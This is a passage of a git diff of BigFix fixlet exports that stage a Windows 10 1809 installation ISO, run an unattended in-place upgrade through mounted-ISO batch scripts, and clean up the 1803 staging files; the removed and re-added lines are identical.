+// setup must finish with RC=0 at this stage if things are ok. If that is not the case content of C:\"\win10_upgrade_temp dir holds useful info.
+// Apart from log files, you can run upgradeCheck manually to check with the UI what the problem is.
+
+action requires restart "28681742fe850aa4bfc7075811c5244b61d462cf"
+endif
+
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes
index 723c321fb..d8ede1d5e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : ~Win10-1803::STAGE3::Cleanup
-  ID       : 25520
-  Author   : Ken
-  Domain   : BESC
-  Imported : 2018-06-06T11:42:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>~Win10-1803::STAGE3::Cleanup</Title>
-    <Description><![CDATA[<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
-<DIV class=FixletMessage>
-<UL>
-<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
-<P>Win10-1803::STAGE2::INSTALL</P>
-<UL>
-<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
-<P>Win10-1803::STAGE3::Cleanup</P>
-<UL>
-<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
-    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then true else false</Relevance>
-    <Relevance>version of operating system as string contains &quot;17134&quot;</Relevance>
-    <Category>ARRIS Management</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-07-31</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 04 Jun 2018 09:44:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">folder delete &quot;C:\temp\Win10&quot;</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1803::STAGE3::Cleanup
+  ID       : 25520
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2018-06-06T11:42:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1803::STAGE3::Cleanup</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1803::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
+<P>Win10-1803::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then true else false</Relevance>
+    <Relevance>version of operating system as string contains &quot;17134&quot;</Relevance>
+    <Category>ARRIS Management</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-07-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Jun 2018 09:44:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">folder delete &quot;C:\temp\Win10&quot;</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes
index 17fcf77bc..65ac63ef9 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes	
@@ -1,92 +1,92 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : ~Win10-1809::STAGE1::Stage Installation Files
-  ID       : 25593
-  Author   : Ken
-  Domain   : BESC
-  Imported : 2019-01-09T03:31:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>~Win10-1809::STAGE1::Stage Installation Files</Title>
-    <Description><![CDATA[<DIV class=FixletMessage>
-<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
-<DIV class=FixletMessage>
-<UL>
-<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
-<P>Win10-1809::STAGE2::INSTALL</P>
-<UL>
-<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
-<P>Win10-1809::STAGE3::Cleanup</P>
-<UL>
-<LI>Removes the Stage Installation Files</LI></UL></DIV>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
-    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
-    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
-    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>operating system as string does not contain &quot;1809&quot;</Relevance>
-    <Relevance><![CDATA[(not exists values "ClearCaseMajorVersion" whose (it as string as version < "10") of keys "HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion" of (x32 registries; x64 registries))]]></Relevance>
-    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then false else true</Relevance>
-    <Category>Upgrade</Category>
-    <Source>Microsoft</Source>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>Unspecified</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>no-relevance-health-check</Name>
-      <Value>false</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-component</Name>
-      <Value>Unspecified</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product</Name>
-      <Value>Win10</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 07 Jan 2019 15:55:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>to execute this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Stage
-begin prefetch block
-  add prefetch item name =SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO sha1=6208B319DE3AAF0D8EC5B8D0F710E2744F89D0B4 size=4994043904 url={value of setting "_BESClient_AllowCustomRepoDownloads" of client   | "http://MANUAL_BES_CACHING_REQUIRED/"}SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO sha256=54B42DBD42C7839B8CF28E256763458AEB1C30CB858ACAA2029A08F8F54E5C28
-end prefetch block
-
-//CLEANUP any old attempts
-waithidden "{pathname of system folder & "\cmd.exe"}" /C rmdir "c:\temp\Win10" /S /Q
-
-//create new installation folders
-if {not exist folder "c:\temp"}
-	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp"
-endif
-
-if {not exist folder "c:\temp\Win10"}
-	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp\Win10"
-endif
-
-move __Download\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO "c:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO"]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1809::STAGE1::Stage Installation Files
+  ID       : 25593
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2019-01-09T03:31:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1809::STAGE1::Stage Installation Files</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1809::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
+<P>Win10-1809::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL></DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>operating system as string does not contain &quot;1809&quot;</Relevance>
+    <Relevance><![CDATA[(not exists values "ClearCaseMajorVersion" whose (it as string as version < "10") of keys "HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion" of (x32 registries; x64 registries))]]></Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then false else true</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Jan 2019 15:55:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Stage
+begin prefetch block
+  add prefetch item name =SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO sha1=6208B319DE3AAF0D8EC5B8D0F710E2744F89D0B4 size=4994043904 url={value of setting "_BESClient_AllowCustomRepoDownloads" of client   | "http://MANUAL_BES_CACHING_REQUIRED/"}SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO sha256=54B42DBD42C7839B8CF28E256763458AEB1C30CB858ACAA2029A08F8F54E5C28
+end prefetch block
+
+//CLEANUP any old attempts
+waithidden "{pathname of system folder & "\cmd.exe"}" /C rmdir "c:\temp\Win10" /S /Q
+
+//create new installation folders
+if {not exist folder "c:\temp"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp"
+endif
+
+if {not exist folder "c:\temp\Win10"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp\Win10"
+endif
+
+move __Download\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO "c:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO"]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes
index 5f82eaea0..7c64c0d4e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes	
@@ -1,134 +1,134 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : ~Win10-1809::STAGE2::Install
-  ID       : 25594
-  Author   : Ken
-  Domain   : BESC
-  Imported : 2019-01-09T03:31:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>~Win10-1809::STAGE2::Install</Title>
-    <Description><![CDATA[<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
-<DIV class=FixletMessage>
-<UL>
-<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
-<P>Win10-1809::STAGE2::INSTALL</P>
-<UL>
-<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
-<P>Win10-1809::STAGE3::Cleanup</P>
-<UL>
-<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
-    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
-    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
-    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>operating system as string does not contain &quot;1809&quot;</Relevance>
-    <Relevance><![CDATA[(not exists values "ClearCaseMajorVersion" whose (it as string as version < "10") of keys "HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion" of (x32 registries; x64 registries))]]></Relevance>
-    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then true else false</Relevance>
-    <Category>Upgrade</Category>
-    <Source>Microsoft</Source>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2019-01-07</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>Unspecified</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>no-relevance-health-check</Name>
-      <Value>false</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product</Name>
-      <Value>Win10</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-component</Name>
-      <Value>Unspecified</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 08 Jan 2019 11:36:20 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>to execute this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-//Start inplace upgrade
-if {free space of drive of client > 5000000000}
-
-parameter "workISO" = "C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO"
-continue if {exists file (parameter "workISO")}
-continue if {sha1 of file (parameter "workISO") = "6208b319de3aaf0d8ec5b8d0f710e2744f89d0b4"}
-
-// prepare a workpath to temporary files.
-parameter "workPath" = "{(value of variable "SystemDrive" of environment) & "\win10_upgrade_temp"}"
-waithidden cmd /C rmdir /S /Q "{parameter "workPath"}"
-waithidden cmd /C mkdir "{parameter "workPath"}"
-
-// Create the cleanup file.
-delete __appendfile
-delete setupcomplete.cmd
-
-appendfile @echo off
-appendfile SET WindowsISO="{parameter "workISO"}"
-// appendfile powershell.exe "Dismount-DiskImage ""%WindowsISO%"""
-// appendfile rmdir /S /Q "{parameter "workPath"}"
-
-move __appendfile setupcomplete.cmd
-
-
-// Create a debug invocation batch to help in case of failures.
-// This batch does not perform an update but with the scanonly option allows you to determine what the problem is.
-delete __appendfile
-
-appendfile @echo off
-appendfile SET WindowsISO="{parameter "workISO"}"
-appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO %%I:\setup.exe /auto upgrade /Compat ScanOnly /DynamicUpdate disable"
-appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
-
-move __appendfile "{(parameter "workPath") & "/upgradeCheck.bat"}"
-
-// Create the actual invocation script
-// Sleep and Dir were added or command would fail with %errorlevel%	183. Possibly a delay on mount.
-delete __appendfile
-delete mount.and.install.bat
-
-appendfile @echo on
-appendfile SET WindowsISO="{parameter "workISO"}"
-appendfile powershell.exe "Mount-DiskImage ""%WindowsISO%"""
-appendfile TIMEOUT 10
-appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO dir %%I: > "{parameter "workPath"}\dir.log" && %%I:\setup.exe /auto upgrade /Quiet /DynamicUpdate disable /postoobe "{pathname of client folder of current site & "\setupcomplete.cmd"}"
-appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
-move __appendfile mount.and.install.bat
-
-wait mount.and.install.bat > "{parameter "workPath"}\cmd.log"
-
-wait setupcomplete.cmd >"{parameter "workPath"}\setupcomplete.log"
-
-// setup must finish with RC=0 at this stage if things are ok. If that is not the case content of C:\"\win10_upgrade_temp dir holds useful info.
-// Apart from log files, you can run upgradeCheck manually to check with the UI what the problem is.
-
-action requires restart "6208b319de3aaf0d8ec5b8d0f710e2744f89d0b4"
-endif
-
-]]></ActionScript>
-      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1809::STAGE2::Install
+  ID       : 25594
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2019-01-09T03:31:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1809::STAGE2::Install</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1809::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
+<P>Win10-1809::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>operating system as string does not contain &quot;1809&quot;</Relevance>
+    <Relevance><![CDATA[(not exists values "ClearCaseMajorVersion" whose (it as string as version < "10") of keys "HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion" of (x32 registries; x64 registries))]]></Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then true else false</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2019-01-07</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Jan 2019 11:36:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+//Start inplace upgrade
+if {free space of drive of client > 5000000000}
+
+parameter "workISO" = "C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO"
+continue if {exists file (parameter "workISO")}
+continue if {sha1 of file (parameter "workISO") = "6208b319de3aaf0d8ec5b8d0f710e2744f89d0b4"}
+
+// prepare a workpath to temporary files.
+parameter "workPath" = "{(value of variable "SystemDrive" of environment) & "\win10_upgrade_temp"}"
+waithidden cmd /C rmdir /S /Q "{parameter "workPath"}"
+waithidden cmd /C mkdir "{parameter "workPath"}"
+
+// Create the cleanup file.
+delete __appendfile
+delete setupcomplete.cmd
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+// appendfile powershell.exe "Dismount-DiskImage ""%WindowsISO%"""
+// appendfile rmdir /S /Q "{parameter "workPath"}"
+
+move __appendfile setupcomplete.cmd
+
+
+// Create a debug invocation batch to help in case of failures.
+// This batch does not perform an update but with the scanonly option allows you to determine what the problem is.
+delete __appendfile
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO %%I:\setup.exe /auto upgrade /Compat ScanOnly /DynamicUpdate disable"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+
+move __appendfile "{(parameter "workPath") & "/upgradeCheck.bat"}"
+
+// Create the actual invocation script
+// Sleep and Dir were added or command would fail with %errorlevel%	183. Possibly a delay on mount.
+delete __appendfile
+delete mount.and.install.bat
+
+appendfile @echo on
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile powershell.exe "Mount-DiskImage ""%WindowsISO%"""
+appendfile TIMEOUT 10
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO dir %%I: > "{parameter "workPath"}\dir.log" && %%I:\setup.exe /auto upgrade /Quiet /DynamicUpdate disable /postoobe "{pathname of client folder of current site & "\setupcomplete.cmd"}"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+move __appendfile mount.and.install.bat
+
+wait mount.and.install.bat > "{parameter "workPath"}\cmd.log"
+
+wait setupcomplete.cmd >"{parameter "workPath"}\setupcomplete.log"
+
+// setup must finish with RC=0 at this stage if things are ok. If that is not the case content of C:\"\win10_upgrade_temp dir holds useful info.
+// Apart from log files, you can run upgradeCheck manually to check with the UI what the problem is.
+
+action requires restart "6208b319de3aaf0d8ec5b8d0f710e2744f89d0b4"
+endif
+
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
